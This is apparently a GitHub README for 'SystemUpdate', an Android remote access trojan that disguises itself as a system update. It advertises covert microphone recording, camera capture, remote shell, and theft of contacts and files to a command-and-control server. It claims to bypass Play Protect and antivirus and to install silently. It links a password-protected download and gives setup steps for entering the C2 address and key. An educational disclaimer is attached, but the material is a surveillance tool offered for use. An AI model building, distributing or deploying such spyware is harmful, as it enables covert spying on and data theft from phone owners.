Skip to content

Folders and files

NameName
Last commit message
Last commit date

Latest commit

History

9 Commits

Repository files navigation

📱 SystemUpdate – Advanced Android Stealth Background Client (Level 2 Release)

⚠️DISCLAIMER:
This project is for educational and security research purposes only.
Do not use it on devices you do not own or have explicit permission to test.
Misuse may violate laws and is strictly prohibited.


🔥 Level 2 Highlights (August 2025 Release)

  • ✅ Persistent foreground service with stealthy "System Update" disguise
  • 🔐 AES-128 encrypted TCP communication with secure reconnection logic
  • 🛠 Remote shell command execution with live output
  • 🎙 Audio recording (with duration or manual stop)
  • 📷 Photo capture using rear camera
  • 📂 File download (chunked + encrypted) and upload via base64
  • 📁 Storage enumeration from any directory
  • 📞 Contact list extraction
  • 🧾 App listing, network info, processes, and system props
  • 🎞 Media listing (video, image, audio)
  • 📜 Built-in help command and full graceful shutdown logic
  • 🧱 Undetected by Play Protect with realistic install vector
  • 💣 No known AV flags beyond 1–2 minor detections

🎬 Demo – Silent Installation on Android 15

Demo

📲 APK installs silently on Android 15 (August 2025 patch)
Appears as "System Update" with no permission prompts shown to user.
Bypasses Play Protect and runs persistently after install.


📥 Download

🔐 Encrypted demo ZIP (APK + media) hosted on Mega: 📦 Download from MEGA
Password:1234


🧪 VirusTotal Scan Results

  • Flagged by only 2 engines:
    • GoogleAndroid:Agent-GEN
    • IKARUSTrojan.AndroidOS.Agent
  • Google Play Protect allows install and execution.

🧩 Features & Supported Commands

CategoryCommandDescription
🔍 Recondevice_infoGet manufacturer, model, SDK version
list_appsList installed apps
network_infoShow interfaces and routes
running_processesList all running processes
system_propertiesDump getprop output
🗂 Storageenum_storage [path]Recursively walk through storage
listfilesList /storage/emulated/0
🎞 MediamedialistList all media via MediaStore
📥 File Accessdownload [path]Download file in encrypted chunks
upload [path] [base64]Upload file by sending base64
🛠 Shellshell [cmd]Run any Linux command
🔊 Audiorecord_audio_start [sec]Record mic for N seconds
record_audio_stopStop recording early
📷 Cameracapture_photoTake photo using rear camera
🧾 ContactscontactsDump all contact names + numbers
📸 Screenshotscapture_screenshotNot implemented (stub)
🎥 Videorecord_video_start [sec]Not implemented (stub)
record_video_stopNot implemented (stub)
❓ HelphelpShow full command list
❌ ExitexitShutdown service gracefully

🛠 Setup Instructions

  1. Clone this repo
  2. Edit your connection details Open PayloadService.kt and edit:
    privatevalAES_KEY="A1B2C3D4E5F6G7H8"// 16 bytes keyprivatevalAES_IV="H8G7F6E5D4C3B2A1"// 16 bytes IVprivatevalC2_IP="10.23.119.57"privatevalC2_PORT=4444'''

  1. Download Codes from Mega Open in Android Studio Use Android 10–15+ build target Sign and export APK
  2. INSTALL_APK Use adb install or physical device install Allow permissions if requested (on older Androids)
  3. Run Server Start your TCP listener/server using matching key/IP Commands can now be issued from server side

🛠 Educational Purpose Only

SystemUpdate is a sandboxed example for: Android foreground services Encrypted socket backchannels Audio capture, file IO, and system command execution It is not obfuscated, not polymorphic, and not designed to evade detection long-term. Use this project to understand, experiment, and learn — not harm.


🛠 License

This project is licensed under the GNU GPL v3 license. You're free to use, modify, and redistribute, but all derived works must remain open-source and preserve the license. See LICENSE


🤝 Credits

Made with ♥ for research, reverse engineering, and mobile development training.

About

SystemUpdate is an advanced Android background client for educational use. It connects to a remote server over AES-encrypted TCP, executes shell commands, records audio, captures photos, transfers files, lists apps/media/contacts, and more — disguised as a system update with stealth persistence.

Topics

Resources

Stars

8 stars

Watchers

2 watching

Forks

Releases

Packages

Contributors

Languages